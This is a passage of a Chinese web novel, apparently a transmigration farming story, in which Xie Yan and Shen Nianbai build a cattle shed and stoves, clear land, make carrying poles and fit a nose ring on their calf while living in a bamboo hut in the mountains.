谢言拿着锯子上了山往竹林走去,一路上都没有看到沈念白,谢言不由得大喊了一声,“念白。”
他的声音散在空旷的山林里,飘得很远,撞到石壁后回音阵阵。
过了好一会儿,空中才传来了沈念白的回复,“欸。”
声音隔得有些远,但还能分辨是从哪里传出来的,知道他还在就好,谢言又道:“没事。”
“哦。”
得到回复的谢言抿起嘴笑了笑,这才开始认真的锯起竹子来。有了建竹屋的经验,锯竹子现在对谢言来说已经是手拿把掐了。
谢言估算了需要的数量,牛棚不必建得跟竹屋一样牢固,就算稍微有点漏水也没关系,所以谢言只准备了三十根竹子。
竹子只留三米五就够了,长的都锯掉。
谢言将准备好的竹子扛回去,他一次扛六根,左右两边肩膀各扛三根。跑五趟就把所有的竹子全都扛回去了,不过这些还不够,还得在砍几根竹子回来划篾条,不然竹子没办法绑到柱子上去。
做篾条的竹子就不用锯了,直接用砍刀砍就行了。谢言进屋将锯子放好,改拿了砍刀,又去了竹林。
做篾条的竹子要选今年生的,更嫩更好划,柔软性更好,这是之前沈念白教他的。
谢言在竹林里左拍右拍,挑出了四五根今年生的竹子砍了。砍刀砍起来比锯子锯快多了,就是切口不平整,不过没关系,反正都是要划破的。
谢言将砍的竹子剃好后扛在肩上,用脚勾起了放在旁边的衣服,这才往家里走去。走在路上远远的就看到沈念白已经回家了,正蹲在灶前烧火准备做晚饭了。
看到沈念白,谢言的心都雀跃了一些,远远的喊了声,“念白。”
沈念白听到声音,从灶头前抬起头来看他,应了他一声,“诶。”
谢言快步回了家,将竹子随意的扔在地上,发出‘哗啦’的响声。
“谢言哥,你刚才喊我做什么?”沈念白抬起头看着他问道。
谢言回道:“哦,没事,就是没看到你。”
沈念白解释道:“我去山里挖野菜了,周围的野菜都挖得差不多了,今天就走得远了些。”
谢言点了头问道:“肉还有吗?要不要去抓几条鱼?”
沈念白道:“还有些,天气热放久了怕坏,我打算熬些油放着,肉这几天就吃完。”
其实可以码盐把肉多放一段时间,但沈念白实在舍不得用盐。
谢言对这些都没有异议,“嗯,你看着办就行。”说完又继续说道,“吃完了饭把篾条划出来,我今天晚上就把棚顶给弄了。”
沈念白应道:“好。”
13. 第 13 章
沈念白做饭还要一阵,谢言闲着也是闲着,便想着去河里搬些石板回来重新垒两个灶,他与沈念白商量,“念白,这地方晒得很,咱们把灶重新垒过吧。”
沈念白应了,“好啊。”
谢言道:“这次咱垒两个灶,把两个锅都用起来。你看垒在哪里比较好?”
沈念白四处看了看,“垒到屋檐下吧。”
之前做竹屋的时候,屋檐做得宽,在转角的地方垒灶完全没有问题,谢言也觉得这主意好,“行,我去搬石板。”
“好。”
谢言背着背篓去了河边,将背篓放在河岸,将裤腿高高的挽起,谢言试探着下河,但还是能打湿裤子,索性将裤子给脱了,这才下了水。
河底有许多石板,被流动的河水冲刷得很干净,摸上去冰冰凉凉的,十分解暑。谢言将石板挨个搬到岸边去,搬了大概三四十块,谢言觉得差不多了,又将岸边的石头放到背篓里。
石头虽然不大但很沉,谢言一次只能背个五六块,往返个六七次才把所有的石块全部背回去。
最后一趟回去的时候饭也煮好了。
“谢言哥,吃饭了。”
“好。”
谢言把背篓放在地上,将背篓里的石块捡出来跟之前背回来的石块放在一起,擦了擦身上的汗,这才去吃饭了。
现在谢言都已经习惯不穿衣服了,之前他还觉得不好意思,但天实在太热了,一穿上马上就汗湿了,慢慢的就不穿了。
谢言累得很,在门口坐下接过沈念白递给他的饭就开始吃,连说话的力气都没有。闷头吃了三碗饭,吃饱了将饭碗递给了沈念白。沈念白比他先吃完,接过他的碗一起放在锅里,与他说道:“我去洗碗了,谢言哥你休息会儿吧。”
谢言应了声,“嗯,你去吧。”
沈念白端着锅往河边去了,谢言看着他的背影,起身进屋去床上躺了一会儿。谢言头一挨床马上就睡着了,后来是听到沈念白进屋放锅碗的声音才醒了,他睁开眼睛坐了起来。
沈念白听到声音朝他看了过去,见他醒了有些不好意思,“谢言哥,吵到你了?”
谢言回道:“没有没有,我没睡着。”
谢言穿鞋起了床,他没睡够还有些困顿,“我去把灶垒了。”
两人一起出了门,谢言去垒灶,沈念白就去划竹子准备篾条。
垒灶不难,将大小合适的石块垒在在一起,过大的石块就锤破了在垒,唯一就是搬石块有些费劲,不过对于谢言来说力气活也算不得什么。
锅小,灶就垒得小,谢言准备的石头都没有用完灶的雏形就垒好了,石头的缝隙需要用黄泥来糊。这事谢言决定让沈念白来干,他起身去往牛棚走去,沈念白还在划篾条,不过看起来马上就要划完了。
今晚的月色很好,照得大地亮堂堂的,将人的影子拉得很长。空气中弥漫着清新的竹香味,闻起来很舒服。
沈念白见他过来,与他说道:“马上就要划完了。”
谢言点了头,“你慢慢划,我先上去绑着。”
听到谢言的话,沈念白有些惊讶,他抬头看了眼天色,“明天在绑吧,今天都这么晚了。”
谢言回他,“我刚才睡了一会儿,现在可精神了,你先去睡吧,我困了就去睡。”
听他这么说沈念白也没有在说别的。
谢言把之前搭房顶用的木墩子抱过来,踩着将竹竿放到柱子上,然后用篾条将竹子绑到柱子上。
沈念白将篾条划完后就去给谢言帮忙,不过谢言拒绝了他,“我能行,时候不早了你先去睡吧。”
“哦,好。”沈念白应了一声,“那你要帮忙的话喊我。”
“嗯嗯。”
沈念白进屋了,谢言站在高高的木墩子上,感受着晚风吹拂过脸旁,很清爽,耳边蝉鸣不绝,青蛙也‘呱呱呱’的使劲在叫,白日的燥热此刻全然没有了。谢言忍不住想,这活就应该晚上干啊。
谢言这一搭就停不下来,在他搭完的时候天都快亮了,月亮已经下山了,夜终于是暗了下来。谢言绑完最后一根竹子从木墩子上跳下来,熬了一整夜头都有些晕乎乎的。
谢言回了屋,路过灶台的时候无意瞥了一眼,看见灶前有一堆黄泥土,他略微皱了眉,走过去一看,灶果然已经糊好了。
刹那间谢言心下百感交集,低声呢喃了一句,“这孩子。”
门没关,谢言直接就进去了,沈念白睡眠很浅,一点声音都要醒,他起身看向了谢言,揉了揉迷蒙的眼睛,“谢言哥,你现在才困啊?”
谢言关了门,回了他道:“是,快睡吧。”
沈念白确实困极了,倒下去就又睡着了。谢言怕又吵到他,轻手轻脚的走过去,坐到了床上后这才慢慢的躺了下去。
谢言瞌睡好睡得很,一躺下去立马就睡着了。山里退热很快,太阳一下山就退热了,夜里本就很凉爽,再加上风从竹子的缝隙吹进来,凉飕飕的特别舒服。竹屋又有种清香味,让人很放松。
谢言一觉睡到大天亮,起了床出门一看太阳都快要到头顶了,这得要到中午了。
空气中弥漫着沈念白午饭都快做好了,听到他的声音回头看来,喊了声,“谢言哥。”
谢言应了声,“我去河边洗个脸。”
沈念白道:“洗了就回来吃饭,别上山了。”
“好。”谢言应承了一声,抬脚就去了河边。
河水哗啦啦的,河岸两旁的很好的将阳光遮了起来,人站在下面能完全的躲荫。谢言蹲下身浇起河水洗了脸,河水凉悠悠的,浇在脸上瞬间就清醒了。
谢言洗完了脸才看到河边多了一块光滑的大石板,是他昨天搬起来放在河岸的,只不过后来他嫌太大,就没有背回去。当时他是随便扔的,现在明显是特意放置过的,应该是沈念白铺来洗衣服用的,
说到洗衣服,谢言又想起了要把皂角树移栽过来的事,事情一多老是会忘,今天就把它移栽过来吧。
谢言洗完脸回了家时饭已经做好了。
“谢言哥,吃饭了。”
“诶。”
谢言走过去在走廊下坐下,其实就是坐到地上,因为他们没有板凳,谢言说道:“我今天去山上锯两木墩子回来当凳子。”
沈念白道:“我会用竹子做椅子,我之前一直想做来着,但还没来得及
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做。”
“有时间在做吧,做椅子也麻烦,先用木墩子凑合着。”谢言说到这儿时想着可以顺便把皂角树挖回来,于是他又说道,“你之前说看到皂角树,在哪里看到的?”
沈念白给他指了,“在那边,挺远的。要去摘皂角吗?”
谢言道:“我想着每次要用都要走那么老远去摘,不如把树移栽到河边去,这样以后都不用跑远路了。”
听了他的话沈念白微微皱了眉,“可是那棵树很大,比我们两个人拉起来还要粗,不好挪吧。”
谢言没想过会这么大,这么大他一个人根本挪不了,于是他果断的就放弃了,“那还是算了吧。”
沈念白道:“虽然挪不了树,但我们可以在河边栽一棵小皂角树,这样等树长大了,也方便。”
谢言点头,“行。”
沈念白继续道:“我下次去摘皂角的时候就看看底下有没有小的皂角树,有的话就扯回来栽上。”
谢言道:“都这么大的树了,肯定会有小苗苗的。”
“皂角树太大了,把底下小苗苗的阳光全部遮完了,大多发了芽长不久就死了。”在这些事上沈念白比谢言要老成些。
谢言有些失望,“哦,那可能没有小苗了。”
沈念白道:“没有小苗,就多捡几颗种子回来种,河边肯定能种活。”
谢言心想,如果实在没有,他就在系统商城里买两颗皂角树苗苗,反正他现在经验值多得根本用不完。只不过他没有这样说,只是点了头,“也行。”
吃完了饭,沈念白去洗碗,谢言来到牛棚,茅草已经割回来了,散乱的堆在地上。谢言没有打算扎茅草,他打算去把荒山给开出来,等夏天过了就能种菜了。
谢言在家门口转了转,看着不远处的小牛还在低头吃草,并没有走远。谢言不由得纳闷,既然小牛根本不会跑远,是不是不用关到牛棚里,直接在山上放养就行了?
没一会儿沈念白洗碗回来了,谢言就问他,“念白,小牛要关牛棚里吗?”
沈念白回道:“要吧,不然跑远了都找不回来了。”
谢言道:“但我看它也没有要跑远的意思。”
沈念白有些诧异于谢言的话,但一想他根本没有喂过牛,也没有见别人喂过牛,不知道也正常,便与他说道:“周围的嫩草陆陆续续的吃完,它肯定要去远处吃草的。”
“哦。”谢言明白了,“行,那你今天把茅草扎好,下午我回来把茅草绑到屋顶上去。”
沈念白应道:“好。”
谢言道:“我今天去山上开荒,等秋天咱们多种些菜。”
说起菜沈念白面露欣喜的说道:“我今天早上去看了我们之前种的菜,土豆和红薯都发芽了。”
谢言闻言也很欣喜,“真的?”
夏季不是播种的季节,因为天气热,地温太高,种子很难发芽,没想到竟然长出来了。
沈念白合理的猜测道:“应该是山里的气温低,所以还能长出来。”
说到这谢言不免后悔,“早知道就该多种些了。”
不过现在天气越来越热了,是种不了的了,只有等秋天了。
14. 第 14 章
说完话后谢言就拿着砍刀锯子和锄头上山了,谢言没有走远,就从他们之前种土豆红薯那里开始往周围扩,他顺道看了一下之前种的种子,果然是发芽了,虽然还很小,嫩黄嫩黄的,刚从土里冒出头来,不过也是成功的发芽了。
下午是最热的时候,不过树林茂盛能很好的遮阴,也还能忍受。荒山长了些刺藤,谢言怕把衣服刮坏,便将上衣给脱了,搭在树枝上,这才开始割草。
夏季草木十分旺盛,杂草长得比人还要高,草用镰刀割,小树用砍刀砍,一些硬质树藤也要砍,割过砍完后在翻一遍地,把草根大概的理一理,扔成一堆,等干得差不多就放火烧了,不然来年地里全是杂草。
开荒虽然活简单,但干起来很慢,一个下午也才开出来一块地,天快黑的时候谢言就收拾东西准备回家了。不过在回家之前,谢言拿着锯子去了山上,来到他之前锯断的那颗大树那儿,之前锯断的那颗树只锯了一小截,还有一大截在原地倒着,谢言又锯子两截,每截大概五十公分高,用来做凳子。
现在木材还是湿的,抱起来沉甸甸的,不过等它完全干透就会变轻,就好搬动了。
谢言一手抱着一个木墩子往家走,一走近,就听见沈念白喊他,“谢言哥。”
谢言笑着应了声,“诶。”
沈念白才刚刚扎完茅草,站起身与谢言说话,“茅草扎好了,我去山上挖点野菜回来做饭。”
“好。”谢言将木墩子放在地上,太沉了,他胳膊都压红了,还有些脱力,“这凳子还有得晒。”
沈念白看见他的手臂通红,微微皱了眉,看着有些担心,“这么重,你怎么一次就抱回来了?多跑一趟又不碍事。”
谢言活动着胳膊,随口回道:“没事,能抱得动。”
沈念白道:“早知道应该把背篓背上的。”
谢言回道:“下次我记得背上。”
“那你去休息休息。”
“嗯。好。”
说完话,沈念白就背着背篓上山去了,谢言手实在有些没力,便想着进屋休息一会儿,结果进屋一躺床上就睡着了,还是后来沈念白从山上回来进屋拿锅的时候才醒。
谢言听到声音猛地坐了起来,沈念白见自己把他吵醒了有些懊恼,明明他已经很轻了,为什么还是把人给吵醒了。
沈念白十分不好意思,“不好意思谢言哥,又把你吵醒了。”
谢言随口说道:“没有,我没睡着,就是有点累,躺躺。”
两人一起从屋里往外走,沈念白去做饭,谢言就开始把沈念白下午扎好的茅草先全部甩到牛棚顶上去,然后人爬上去,踩着竹子把扎好的茅草紧挨着绑到竹子上。这活比较费劲,因为每一扎茅草都要拉得很紧,不然刮风下雨就要把茅草吹掉。
沈念白过来喊他吃饭的时候,谢言还剩了几扎没有扎好。
“谢言哥,吃饭了。”
谢言想着把活干完了在吃,免得一会儿还要重新上来一次,“你先吃吧,我把这点事情做完了在吃。没多少了,免得待会在上来。”
“我上来一起做。”沈念白说着就要往上爬,谢言赶紧制止了他,“别别别,你别上来,我这里马上就弄完了,这竹子不知道能不能撑得住两个人,万一塌了就糟糕了。”
听他这么说沈念白也歇了要上去的心思,就在下面等着。看他那架势谢言也知道他不会先去吃饭,便也没有在说什么,只是默默的加快了手上的动作。
谢言心里着急,像是有一百头大象在背后催他,手都要快出残影来了,没一会儿就全部绑完了,穿过最后一点篾条的时候,谢言长长的松了口气,总算是做完了。
“做完了。”
谢言高兴的站了起来,沈念白一直在看他,见他站起来吓了一跳,连忙说道:“谢言哥,你当心些。”
“没事。”谢言说完就从棚顶上跳了下来,‘咚’的一声大响,落到了地上。沈念白赶紧跑过去,“谢言哥,你没事吧。”
谢言站起身,“没事。”
就是脚有点麻。
沈念白见他腿有些不灵活,止不住的担心,伸手去扶他,“是不是摔到腿了?”
谢言摆手拒绝了他的搀扶,“没事,刚才在棚顶上蹲久了,脚麻了,缓一缓就没事了。”
谢言脚麻得厉害,脚底跟针扎一样,密密麻麻的疼,疼得他呲牙咧嘴的,沈念白看着担心极了,“谢言哥,真的没事吗?”
谢言站不住了,手肘搁在他的肩膀上,“好像有点太麻了。”
沈念白赶紧扶住了他,“坐下缓缓吧。”
谢言回道:“没事,一会儿就缓过来了。饿了,回去吃饭。”
听他这么说,沈念白也没有在说什么了,只是搀扶着他往屋那边去。
走到屋檐下,谢言一屁股就坐到了板凳上,伸直了腿靠在墙壁上休息。沈念白一边盛饭一边都止不住的回头看他,“谢言哥,好点了吗?”
对上他担忧的视线,谢言笑了笑,“好点了,我刚才应该坐在竹子上的,但是又怕竹子不结实摔屁股墩。”
沈念白乘好饭递给他,两人并排坐着吃饭。
肉买回来好几天了,现在吃着都有点味了,谢言便问道:“肉还有吗?”
沈念白回他,“没有了,这是最后一点了。”
谢言点了头,“好在是吃完了,不然还要扔了。”
沈念白道:“我熬了两大碗猪油,肉都熬干了。”
谢言吃饭很快,几大口就刨完了一碗饭,他的胃口大,吃了三大碗才吃饱,他放下碗仔细的想,“今天还有什么事没做吗?”
沈念白回他,“没什么事了,你去睡觉吧。”
吃饱了就犯困,谢言也想不出还有什么事没做,便应了声,“行,那我先去睡了,有事喊我。”
“好。”
谢言一进屋才想起来,哦,他还没有洗澡,于是拿了换洗的衣服后又折返出了门。沈念白饭还没有吃完,见他又出来了,便问道:“谢言哥,你怎么又出来了?”
谢言回他,“身上脏兮兮的,我去洗个澡,不然太汗了。”
“我给你拿个皂角。”沈念白站起来进了屋,很快就出来了,递给了谢言一个皂角,嫩绿嫩绿的,一看就是今年刚结的果子。
谢言接了过来,沈念白又说道:“你把衣服放在河边的石板上就是,我一会儿去洗。”
谢言想着哪有他睡觉让沈念
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白洗衣服的道理,于是他说:“没事,我一会儿直接就搓了,你不用单独跑一趟。”
沈念白回道:“不单独跑,我也要洗的。”
说到洗澡,谢言突然想起来,“你给你自己做衣服没有?”
沈念白点头,“做了,今天下午做了一套。”
谢言道:“反正有料子,多做两套。”
“嗯。”
“你吃饭吧,我去洗澡了。”
“好。”
谢言抱着衣服拿着皂角来到河边,此时已经都快到半夜了,月明星稀,树影婆娑,凉爽的晚风吹走一天的燥热。谢言脱了衣服走到河里,坐到河床里,让河水浸润全身,冰冰凉凉的感觉不由得让谢言想起在现代的时候,在城里生活连玩水都成了奢望。
谢言掰开皂角,皂角里的种子还是小小一颗,嫩绿嫩绿的,一掐都能掐出水来,现在不是皂角成熟的季节,要到十月份皂角才会成熟。那时候就可以大批量的采摘,晒干后储存起来一年四季都不愁没得用了。
没有成熟的皂角搓出来的泡泡不多,不过现在就只有将就着用了。
洗一次澡就用了一个皂角,谢言洗完后在岸边站了一会儿,他不想用脏衣服擦身上的水,又舍不得用赶紧的衣服擦,便就站着抖了抖。
原身之前干巴巴的,又黑又瘦,胸前的骨头都清晰可见,谢言穿过来后虽然还是又黑又瘦,但吃得多,长了些肉,看着比之前好多了。
谢言觉得原身才十四岁,但身体的力量非常好,于是问了系统,‘系统,这原身是天生的大力士吗?’
系统回了他,‘不是,但是原身之前跟野狼一起生活,也是像野狼一样走路的,所以他的上下肢锻炼得非常好。’
谢言明白了,原身一直是趴在地上跑的,难怪这么有劲。
可惜了,竟然不是大力士。
系统感知到他的遗憾,与他说道,‘不过你的力气比一般人大,只是没有达到大力士的标准。’
从小这样锻炼,力气不大才怪了。
谢言与系统扯着嘴皮子,突然听到一声,“谢言哥。”吓得谢言差点摔河里去,他抓起衣服挡在身前,转身看去这才意识到他站在树影下,根本看不清楚,就像他也看不清楚沈念白一样。
虽然说看不清楚,但谢言怕他突然过来,赶紧说道:“你先别过来,我穿衣服。”
话音一落,就听到一声乖乖的回应,“哦,好。”
谢言赶紧把衣服裤子穿上了,晾了一会儿,身上的水渍也干得差不多了。
“过来吧。”
“哦,好。”
谢言从树影下出来,朝着沈念白走了过去,沈念白端着锅碗是来洗碗的。
谢言看着沈念白手里寥寥的两个碗,不由得想,穷也有穷的好处,每顿只洗两个碗,省事。
沈念白见谢言一直盯着他手上的锅,以为他又要说帮他洗的话,就催促他道:“你快去睡吧。”
谢言根本没想那茬,他在想沈念白也要洗澡,他待在这儿确实不合适,于是点头,“嗯嗯,我回去睡觉了,有事你喊我就是。”
“好。”
谢言确实累狠了,快步回了屋,倒头就睡了。
15. 第 15 章
一到晚上谢言就睡得特别沉,一觉就能睡到大天亮,今天谢言醒的时候又快到中午了,谢言坐起来看着外头偌大的太阳,觉得他很有必要改改作息。
谢言从屋里出来的时候沈念白已经早起割了草喂了兔子,去山上挖了一整天要吃的野菜,还用竹子编了一个牛鼻环,做了一条牛鼻绳,现在正准备做午饭。
见到谢言起来,沈念白喊了一句,“谢言哥。”
谢言对于自己睡得这么晚有些不大好意思,挠挠头在门口坐了下来,与沈念白说道:“念白,明天早上你起来的时候喊喊我。”
闻言沈念白有些讶异,“不用啊,你每天那么累,睡会儿又没事。”
谢言道:“天热起来了,我想早晚干活,中午热的时候在睡觉。”
到了夏天,种地的都是这种作息。沈念白这才应了,“好。”
“我去山上了,饭好了叫我。”谢言说着就站了起来,沈念白与他说道,“谢言哥,我做了牛鼻环,趁牛小,咱们一会儿就把牛鼻环给它穿了吧。”
牛鼻环得趁牛小的时候穿,不然长大了,力气大,按都按不住。
谢言应了,“行,吃了午饭给给它穿了。”
昨天谢言拿出去工具没有拿回来,今天直接去就行了,他刚走出去两步沈念白又说道:“谢言哥,你等会回来的时候砍颗小点的树回来做扁担,我下午挑水把菜苗给浇了,这几天天热,没水怕长不好。”
谢言道:“行,我这就去砍。”
“好。”
谢言这才上了山,他没有开荒了,直接拿着砍刀去选了颗半大不小的树,做扁担要直挺的才好。
山上各种各样的树多得很,简单看两眼就能选到合适的,谢言砍了一颗小的杉树,用锯子锯了一米五的长度,然后用刀小心的从中间劈开,把树干剃到光滑,在两头开上孔,一个简易的扁担就做好了。
谢言就着劈开的两半木材做了两根扁担,这种手工活谢言很生疏,做起来很慢,等他把扁担做好,沈念白就已经在喊他吃饭了。
“谢言哥,吃饭了。”
谢言把做好的扁担放在肩膀上试了试,同时应了声,“诶,来了。”
谢言拿着扁担回了家,向沈念白展示,“看,我做的扁担。”
沈念白看了过去,笑着夸赞他道:“谢言哥,真厉害。”
被夸了的谢言有些不好意思,他见过扁担是什么样的,他做的这个简直差得十万八千里,只能算是勉强能用。
“做得不好,将就用吧。”
沈念白倒是真心实意夸他的,毕竟在沈念白的印象里,谢言可是被野狼养大的野人,能知道扁担是什么都不错了,还能做出来简直不要太棒。
沈念白也没有过多的说下去,只道:“吃了饭,我编两条绳子穿上就能用了。”
谢言点头,“行。”
沈念白揭开锅盖,一股喷香的饭菜香味直扑鼻腔,虽然没有肉了,但有白米饭,而且还沾了油依旧很香。
虽然一锅饭,大半都是野菜,但谢言和沈念白依旧吃得很香。吃着饭,谢言说道:“下午我去抓几条鱼回来,咱们晚上吃鱼。”
沈念白点了头,问他,“谢言哥,你想吃煮的还是烤的?”
煮鱼片之前已经吃了好几天了,谢言实在有些抵触,“吃烤的吧,烤的香些。小刺烤焦了不用吐也没那么麻烦。”
沈念白明显吃鱼片也吃腻了,点了头道:“好,我今天上午还掰了些竹笋,晚上吃炒竹笋和烤鱼。”
“行。”
吃完了饭,两人便合计着给牛犊穿鼻环,沈念白去洗碗了,谢言就去把牛犊带回牛棚里。
顶着大太阳,谢言来到牛犊面前唤它,“哞哞哞,快跟我回家去,这么大太阳,当心晒中暑了。”
牛犊低着头吃草,根本没有理会他,谢言见状便蹲下身与它说,“跟我回家去,不然中暑了。”
牛犊还是没理他,谢言伸手去摸它的头,但是牛犊摇头把手给甩开了,谢言脾气上来了,“嘿,你敬酒不吃吃罚酒是不是?”说着就去捡旁边的树枝要打它,恰好此时沈念白过来看见了,喊住了他,“谢言哥,你干嘛呢?”
谢言实话实说,“它不肯跟我走,我正准备教训它呢。”
沈念白连忙道:“别,都没栓绳子可不能打,万一应激跑了,咱俩拉都拉不回来。”
这么一说谢言也觉得他说得在理,但牛不回去可怎么办啊。
“那现在怎么办啊?”
沈念白道:“我有办法。”
沈念白四处找了找,找到了一处鲜嫩的草,弯腰将草扯了起来,放在牛鼻子前面诱惑它,牛犊闻到嫩草的香味果然动了,跟着沈念白就走了。
谢言看着沈念白一路引着牛来到牛棚里,敬佩之余又有些担心,因为牛棚只有六根柱子,没有围栏,穿牛鼻环的时候万一牛吃痛,很轻易就能跑出去。
谢言把他的担忧说了,沈念白微微怔了一下,犹豫着说道:“要不,咱们把它引到竹屋里去穿?”
谢言道:“好像没有别的办法了。”
“可是万一把竹屋弄坏了,就不好了。”沈念白还是很犹豫,过了一会儿他道,“要不,我到牛背上抱着牛,这样即便它跑我也能制住它。”
听了沈念白的话谢言微微皱了眉,他看着沈念白单薄的小身板,就这还制住牛?他连忙摇头“不行不行,绝对不行。依我看,不如把牛腿绑到柱子上,可行性还高些。”
但也有个问题,因为他们的绳子都是篾条搓的,柔软性很差,根本没有办法绑活物。
“怎么绑啊?”
这个问题把谢言也给拦住了,他短暂的思考了一下,然后求助于系统,‘系统系统,商城里有卖麻醉枪吗?’
系统机械的声音回了他,‘宿主,与时代不合的物资,系统商城概不出售。’
谢言把这茬给忘了,于是他又问,‘那有什么办法能暂时让牛晕过去的吗?’
系统回他,‘系统无法提供此类办法。’
一点没用。谢言在心里暗骂了一句,然后放弃了系统的沟通,重新与沈念白说道:“要不,还是弄竹屋里去吧?”
沈念白道:“屋里东西有点,我去把东西捡外面来。”
他们就一个竹屋,所有的东西全都放里面,而且还没有箱子,全都摆在地上,这收拾都得收拾半天,于是谢言又改主意了,“要不,就这样试试,要是不行在弄竹屋里去穿?”
沈念白犹豫了一下,他看着谢言最后还是同意了,只是问道:“那还是我在牛背上抱着牛?”
谢
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言道:“不用,你就站在旁边抱着牛脖子,给它喂草,我动作快点,争取一下就给它穿成功。”
沈念白基本上没有异议,“好,那我去多准备点嫩草来。”
草肯定是要的,谢言点了头,“行,那你快点。”
“好。”沈念白应声后‘嗖’的一下就飞出去了,谢言看着他跑得飞快的样子不由得笑着提醒道,“你慢点,别摔了。”
沈念白头也没回的应了他,“知道了。”
他的声音飘荡在空中,透露出轻扬的笑意。
沈念白进屋拿了镰刀,背着背篓就去河边了,谢言的目光追随着他,他看着沈念白逐渐走远,在他的视线里慢慢的变小,最后保持不动了,他蹲下身开始割草,动作很麻利,至少比谢言麻利得多。
谢言收回视线拍了拍牛头,小牛犊的毛发是焦黄焦黄的,摸起来不算柔软,稍微还是有点硬,牛角还没长出来,只有一点点的嫩角,摸起来热乎乎的。
谢言与它说话,“等会给你穿牛鼻环,你要听话,不要蛮撞。”“牛都要穿牛鼻环的,牛魔王都穿了的。”“牛鼻环好看,尤其是你穿了更好看。”
谢言胡言乱语的说了一通,沈念白都背着草回来了,听到他的话有些好奇的问道:“谢言哥,你说什么呢?”
谢言说得有点入迷,都没有注意到沈念白回来了,听到声音这才抬起头来,笑着说道:“哦,我跟它说说话,让它听话。”
沈念白好奇的问道:“它同意了吗?”
“呃..”谢言顿了顿,“估计大概是同意了吧。”
“那就太好了。”沈念白将背篓放下来,半背篓鲜嫩的草,还沾着河水,一股清香的草木气息,小牛闻见了一直伸脖子要去吃。
沈念白端着背篓往里面走,小牛也跟着他走。
走到牛棚中间,沈念白将背篓放了下来,然后将穿鼻环用的削尖的竹子递给谢言,“谢言哥,等会你穿破后,我就拿牛鼻环穿过去,咱们动作快点,应该可以。”
“好。”
谢言把竹子接了过来,沈念白拿起背篓里的草引着小牛抬头,小牛也真的抬起头去吃沈念白手里的草,在小牛抬头的瞬间,沈念白就看向了谢言。
谢言明白他的意思,一手掐住了小牛的嘴筒子,一手快速的朝小牛的鼻子给刺了过去,插进鼻子后用力一捅,明显的感觉到有东西被捅穿了,小牛当即‘哞哞哞’的大叫了起来,摇头晃脑的甩了起来。
谢言扔了竹子,赶紧双手抱住了小牛的脖子,小牛跟他较着劲,谢言吃奶的力气都使出来了,才勉强没被它甩开,急切的与沈念白说道:“快点。”
小牛虽然被抱住了,但力气还是有,只不过晃动的幅度略微小了些,沈念白穿了好几次才顺利的穿上了。
在穿过去的那一刻,两人齐齐松了口气,“总算是穿好了。”
牛鼻环穿上了,紧接着沈念白就把准备好的牛绳系到了牛鼻环上,然后栓到了柱子上。
谢言这才放开了小牛,小牛还在‘哞哞’的叫,不过嘴里还没停下来。
沈念白道:“让它自己吃,咱们走吧。”
“哦,好。”
这还是谢言第一次给牛穿牛鼻环,他之前连看也没看过,只是大概知道该怎么做,没想到还挺顺利的。
16. 第 16 章
穿完牛鼻环,谢言便打算去挑水浇菜,他拿起扁担挑起水桶往河边走,沈念白看见了问他,“谢言哥,你干什么去?”
谢言回他,“挑水浇菜。”
沈念白道:“我去吧,你不是还要去开荒吗?”
谢言道:“挑水重得很,还是我去吧,总共没多少地,要不了多久。”
沈念白坚持道:“还是我去吧,我每次少挑点就是了。山上全是树,开起荒来要很久了。”
“行,那你每回少挑点。”
谢言说着就将桶给放下了,沈念白说得没错,开荒确实要开很久,因为山上树长满了,昨天开的那块地,因为是在山脚,阳光不好,所以树少又长得小,但山上的就不一样了,基本上全是参天大树,估计一棵树都得忙活一天。
不过树大也有好处,砍完了全部拖回来放着,建房子用。一举两得,又开了荒,建房子的木材也有了。
谢言上了山,他打算从山脚开始往上开荒,他选了离家最近的一个点,从选定的点开始把杂草割了,还没有割出来多少就已经有好几颗树了。谢言大概估算了一下,每三米就会有一颗树。
谢言把砍刀放下,走到最近的一棵树那开始锯树,树多,遮阴效果非常好,但谢言一直在劳作,依旧热得不行,脸上的汗水就跟下雨一样‘哗哗’的,没一会儿就渴得不行了。
谢言口干舌燥的,只觉得再不喝水他马上就要渴死了。刚要起身就听到了沈念白的声音,还有些激荡的水声,“谢言哥。”
谢言应了一声,“诶。”
话音一落,沈念白就出现在了他的视线里,肩上还挑了两桶水,水声就是从桶里发出来的。
沈念白道:“谢言哥,菜浇完了,我挑了点水过来。”
“哎,你要是不来,我就要渴死了。”谢言放下锯子,一下子就从地上窜起来了,走到水桶边,但是没有水瓢。
大半桶水,谢言抬起水桶咕咚咕咚的,一口气就喝了一半,这才解了渴,心满意足的把水桶放下,“太爽了!”
谢言抹了一把脸上的汗,对沈念白说道:“念白,你来得可太是时候了。”
沈念白道:“这么热的天我想着你肯定会口渴,又没有带水。明年咱们种些葫芦,就能做水壶了。”
谢言点头,“是,还要做些水瓢。”
沈念白点了头应了声,然后与谢言说道:“家里暂时没事了,我一起来开荒吧。”
谢言也没有拒绝,“你看着安排就是。”
沈念白应声,“嗯。”
谢言走到之前的位置坐下,拿起锯子又接着锯树,刚才已经锯了一大半了,眼看着就要倒了,所以沈念白也没有过去帮忙,只是站在旁边,等着树倒。
最后剩一点就不能锯了,要用砍刀砍,谢言将树里的锯子拿出来甩到旁边的空地上,接过沈念白递过来的砍刀,使劲一砍,树就开始‘嘎吱’‘嘎吱’的响了起来,因为要拖回去,所以树要往下倒。
砍得不够深,树只是响但还没有倒,谢言一脚踹过去,树‘咔咔咔’的往下倒,最后‘砰’的一声,砸到了地上,此时谢言才有些担心,“不会砸到菜苗了吧?”
沈念白往下看去,“不会,有个矮坡,把树担着,没落下去。”
谢言松了口气,顺便抹一把脸上的汗,“那就好。”
沈念白朝他伸出手,“砍刀给我,我去把树枝剃了。”
谢言把砍刀递给了他,又拿起锯子开始锯第二颗树,锯一颗树大概需要小半个时辰,谢言一下午也只锯了六棵树。
到傍晚的时候,沈念白就要回去做饭了,谢言喝完了水桶里最后的一点水,沈念白就挑着水桶回家去了。
沈念白走了,谢言也没有在锯树了,把下午沈念白剃出来的树干,从顶端分叉多的地方锯断。树横在矮坡上就没办法坐了,谢言只能一只脚踩在树干上,两只手锯树。
树顶细小,分叉多,一般用不上只能做柴火,中间的树干才能做木材,谢言在锯最后一棵树的时候听到沈念白在喊他,“谢言哥,吃饭了。”
沈念白的声音在山林中回转飘荡,是这偌大山林中除他以为唯一的人声,谢言带着欣喜高高的应声,“诶,来了。”
虽然是应了,但谢言还是把最后一棵树给锯完了才回去的。
走在回家的路上时天都已经黑尽了,只有月光照路,不过也不孤单,因为山林有虫鸣鸟叫,甚至还有萤火虫在飞。
